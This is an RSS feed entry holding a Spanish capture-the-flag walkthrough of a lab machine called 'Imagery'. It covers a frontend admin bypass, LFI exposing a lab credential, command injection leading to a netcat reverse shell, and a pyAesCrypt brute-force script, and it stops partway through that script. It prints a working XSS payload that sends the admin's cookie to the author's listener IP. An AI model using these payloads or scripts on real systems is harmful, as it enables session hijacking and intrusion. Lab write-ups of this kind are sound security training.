<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>LFI on</title><link>https://synacklabs.github.io/tags/lfi/</link><description>Recent content in LFI on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Sat, 24 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/tags/lfi/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>Imagery (Medium)</title><link>https://synacklabs.github.io/posts/imagery/</link><pubDate>Sat, 24 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/imagery/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina presenta una aplicación web en el puerto 8000. Tras un bypass de control de acceso en el frontend, identifico un &lt;strong&gt;XSS&lt;/strong&gt; en el sistema de reportes que me permite robar la cookie del administrador. Con acceso de admin, exploto un &lt;strong&gt;LFI&lt;/strong&gt; para leer el código fuente (&lt;code&gt;app.py&lt;/code&gt;), revelando credenciales de un usuario de pruebas. Utilizando estas credenciales, abuso de una inyección de comandos en la función de &amp;ldquo;crop&amp;rdquo; de imágenes para ganar acceso al sistema. Finalmente, descifro un backup encontrado localmente para pivotar al usuario &lt;code&gt;mark&lt;/code&gt; y escalo privilegios abusando de una utilidad de gestión de &lt;strong&gt;Cron jobs&lt;/strong&gt; mal configurada.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina presenta una aplicación web en el puerto 8000. Tras un bypass de control de acceso en el frontend, identifico un &lt;strong&gt;XSS&lt;/strong&gt; en el sistema de reportes que me permite robar la cookie del administrador. Con acceso de admin, exploto un &lt;strong&gt;LFI&lt;/strong&gt; para leer el código fuente (&lt;code&gt;app.py&lt;/code&gt;), revelando credenciales de un usuario de pruebas. Utilizando estas credenciales, abuso de una inyección de comandos en la función de &amp;ldquo;crop&amp;rdquo; de imágenes para ganar acceso al sistema. Finalmente, descifro un backup encontrado localmente para pivotar al usuario &lt;code&gt;mark&lt;/code&gt; y escalo privilegios abusando de una utilidad de gestión de &lt;strong&gt;Cron jobs&lt;/strong&gt; mal configurada.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80a6-921c-e556b36cf2ff.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escaneo-y-reconocimiento"&gt;Escaneo y Reconocimiento&lt;/h2&gt;
&lt;p&gt;Comienzo con un escaneo de puertos estándar.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;22/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8000/tcp open http-alt syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puerto-8000"&gt;Enumeración Web (Puerto 8000)&lt;/h3&gt;
&lt;p&gt;La aplicación web ofrece funcionalidades básicas: Registro, Login, Subida de imágenes (Galería) y Reporte de Bugs.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8082-8550-c1e4e8b23262.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="bypass-de-autenticación-frontend"&gt;Bypass de Autenticación (Frontend)&lt;/h3&gt;
&lt;p&gt;Al investigar el proceso de login, intercepto la petición &lt;code&gt;GET /auth&lt;/code&gt; que verifica el estado del usuario. La respuesta contiene un objeto JSON con el valor &lt;code&gt;isAdmin: false&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Modifico la respuesta en vuelo (response manipulation) cambiando el valor a &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80f2-9ea1-ebf6addc6508.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-807f-bb6c-e94bf42c343e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al no haber validación en el backend para la visualización del panel, logro acceder al &lt;strong&gt;Frontend de Administración&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Hay validación el el backend así que no podemos usar estas funcionalidades. Vamos a probar con isTestUser.&lt;/p&gt;
&lt;p&gt;Vemos que tenemos una pestaña de ManageGroups.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8015-aeaa-c5663154ad0c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="acceso-inicial"&gt;Acceso Inicial&lt;/h2&gt;
&lt;h3 id="xss-cross-site-scripting"&gt;XSS (Cross-Site Scripting)&lt;/h3&gt;
&lt;p&gt;En el panel de Admin visualizado anteriormente, podemos ver que hay una función implementada que permite visualizar los bug reports por el administrador. Una posible XXS.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80aa-afee-c16e0c77c688.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Inyecto un payload de XSS para exfiltrar las cookies del administrador hacia mi servidor.&lt;/p&gt;
&lt;p&gt;El payload:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;img src=x onerror=fetch(&lt;span style="color:#e6db74"&gt;&amp;#39;http://10.10.14.53:8000/?pwned=&amp;#39;&lt;/span&gt;+document.cookie)&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-809e-b7b4-f6609155c624.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80a6-9606-d934a198cbe6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Recibo la conexión en mi servidor y obtengo la cookie de sesión del administrador.&lt;/p&gt;
&lt;h3 id="lfi-local-file-inclusion"&gt;LFI (Local File Inclusion)&lt;/h3&gt;
&lt;p&gt;Con la sesión de administrador válida, accedo al panel real.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80dc-ad71-f8623b1c85da.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Encuentro una funcionalidad para descargar logs.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8058-81db-fef967a0c13a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Puede ser una posible LFI.&lt;/p&gt;
&lt;p&gt;Al probar payloads de &lt;strong&gt;Path Traversal&lt;/strong&gt;, descubro que es efectivamente es vulnerable a &lt;strong&gt;LFI&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8079-a5cf-c1c04712d711.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Intento técnicas de Log Poisoning y Wrappers PHP sin éxito. Sin embargo, al analizar las cabeceras del servidor (&lt;code&gt;Werkzeug&lt;/code&gt;) y buscando en el github de el server Werkzeug, podemos ver un poco la estructura y ver que normalmente esta basado en una aplicación Python.&lt;/p&gt;
&lt;p&gt;Si buscamos ese fichero y &lt;a href="http://config.py/"&gt;config.py&lt;/a&gt; podremos ver la estructura entera del proyecto.&lt;/p&gt;
&lt;p&gt;Apunto al archivo principal donde se guarda la base de datos de la aplicación: &lt;code&gt;db.json&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80ba-b87b-f7ca00a4f5f7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Encontramos hashes de los usuarios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80dc-bb22-e027b9012ffd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Usuario:&lt;/strong&gt; &lt;code&gt;Testuser&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password:&lt;/strong&gt; &lt;code&gt;imbatman&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="rce-remote-code-execution"&gt;RCE (Remote Code Execution)&lt;/h3&gt;
&lt;p&gt;Analizando el código fuente descargado (&lt;code&gt;api_edit&lt;/code&gt;), encuentro la función &lt;code&gt;crop&lt;/code&gt; para recortar imágenes. Esta función utiliza una llamada al sistema con &lt;code&gt;shell=True&lt;/code&gt;, lo que permite inyección de comandos. El código indica que esta función &lt;strong&gt;solo está disponible para el rol&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;Testuser&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-809f-a08f-d325c89e0791.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Me logueo con las credenciales obtenidas (&lt;code&gt;Testuser:imbatman&lt;/code&gt;) y exploto la vulnerabilidad inyectando un comando para obtener una reverse shell usando &lt;code&gt;busybox&lt;/code&gt; y &lt;code&gt;nc&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8001-bb81-e9924625cbc6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8067-bcf8-d010ecd8b9a1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Consigo acceso al sistema como &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="movimiento-lateral-usuario-mark"&gt;Movimiento Lateral: Usuario Mark&lt;/h2&gt;
&lt;h3 id="enumeración-y-cracking-de-backup"&gt;Enumeración y Cracking de Backup&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;Emeramos y podemos ver un archivo extraño de backups en la carpeta &lt;code&gt;/var/backup/web---.zip.aes&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8063-a9c4-cd9e5ce2d4d7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Descargo el archivo. Al ser un archivo &lt;code&gt;.aes&lt;/code&gt;, necesito fuerza bruta. Desarrollo un script en Python utilizando &lt;code&gt;pyAesCrypt&lt;/code&gt; para intentar descifrarlo usando el diccionario &lt;code&gt;rockyou.txt&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Script de Cracking (Resumen):&lt;/strong&gt;&lt;br&gt;
El script itera sobre una wordlist, intentando descifrar el archivo con &lt;code&gt;pyAesCrypt.decryptFile&lt;/code&gt;. Si el archivo de salida tiene tamaño mayor a 0, asume que la contraseña es correcta.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;aes_bruteforce.py
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Modo 1: wordlist (recomendado para CTFs) --rockyou
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Modo 2: brute (solo para longitudes muy pequeñas o pruebas)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Uso:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; python3 aes_bruteforce.py --file archivo.zip.aes --wordlist /path/to/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; python3 aes_bruteforce.py --file archivo.zip.aes --brute --min 1 --max 4 --charset abcdef012345
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Notas:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; - Este script intenta descifrar con pyAesCrypt.decryptFile creando un archivo temporal.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; - Si tu .aes no es de AES Crypt (pyAesCrypt) esto fallará; en ese caso usa el flujo zip2john/john o hashcat.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import argparse
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import pyAesCrypt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import tempfile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import os
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import sys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from tqdm import tqdm
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import itertools
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Tamaño del buffer recomendado por pyAesCrypt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BUFFER_SIZE &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; * &lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def try_password&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, password&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;Intenta descifrar aesfile con password. Devuelve True si tiene éxito.&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# crear temporal para escribir la salida descifrada&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmpf &lt;span style="color:#f92672"&gt;=&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; try:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmp &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tempfile.NamedTemporaryFile&lt;span style="color:#f92672"&gt;(&lt;/span&gt;delete&lt;span style="color:#f92672"&gt;=&lt;/span&gt;False&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmpf &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tmp.name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmp.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# pyAesCrypt.decryptFile lanzará ValueError si la contraseña es incorrecta&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pyAesCrypt.decryptFile&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, tmpf, password, BUFFER_SIZE&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# si llegamos aquí: posiblemente contraseña correcta&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# comprobación simple: fichero resultado no vacío&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ok &lt;span style="color:#f92672"&gt;=&lt;/span&gt; os.path.getsize&lt;span style="color:#f92672"&gt;(&lt;/span&gt;tmpf&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &amp;gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; ok
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except Exception as e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# errores esperados: ValueError / IntegrityError etc. -&amp;gt; contraseña incorrecta&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#print(&amp;#34;debug:&amp;#34;, repr(e))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; False
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; finally:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; tmpf and os.path.exists&lt;span style="color:#f92672"&gt;(&lt;/span&gt;tmpf&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; try:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.remove&lt;span style="color:#f92672"&gt;(&lt;/span&gt;tmpf&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pass
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def mode_wordlist&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, wordlist_path, start_line&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0, limit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;None&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Abrimos en modo texto (latin-1) para preservar bytes no ASCII&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; with open&lt;span style="color:#f92672"&gt;(&lt;/span&gt;wordlist_path, &lt;span style="color:#e6db74"&gt;&amp;#34;r&amp;#34;&lt;/span&gt;, encoding&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;latin-1&amp;#34;&lt;/span&gt;, errors&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;ignore&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; as f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# si quieres evitar contar líneas (doble pasada) para wordlists muy grandes,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# usa tqdm sin total. Aquí elegimos no contar si limit is None para ser más rápido.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; start_line:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; _ in range&lt;span style="color:#f92672"&gt;(&lt;/span&gt;start_line&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not f.readline&lt;span style="color:#f92672"&gt;()&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; break
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar &lt;span style="color:#f92672"&gt;=&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; limit is not None:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Si hay límite, mostramos un tqdm con total=limit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tqdm&lt;span style="color:#f92672"&gt;(&lt;/span&gt;total&lt;span style="color:#f92672"&gt;=&lt;/span&gt;limit, desc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;probando wordlist&amp;#34;&lt;/span&gt;, unit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;pwd&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tried &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; tried &amp;lt; limit:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; line &lt;span style="color:#f92672"&gt;=&lt;/span&gt; f.readline&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not line:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; break
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tried &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pwd &lt;span style="color:#f92672"&gt;=&lt;/span&gt; line.strip&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; try_password&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, pwd&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] ¡Contraseña encontrada! -&amp;gt; {pwd}&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; pbar: pbar.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; pwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar.update&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; pbar: pbar.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[-] No encontrada en este segmento.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Sin límite: iteramos hasta el final. tqdm sin total (más rápido, no doble lectura)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tqdm&lt;span style="color:#f92672"&gt;(&lt;/span&gt;desc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;probando wordlist&amp;#34;&lt;/span&gt;, unit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;pwd&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; line in f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pwd &lt;span style="color:#f92672"&gt;=&lt;/span&gt; line.strip&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
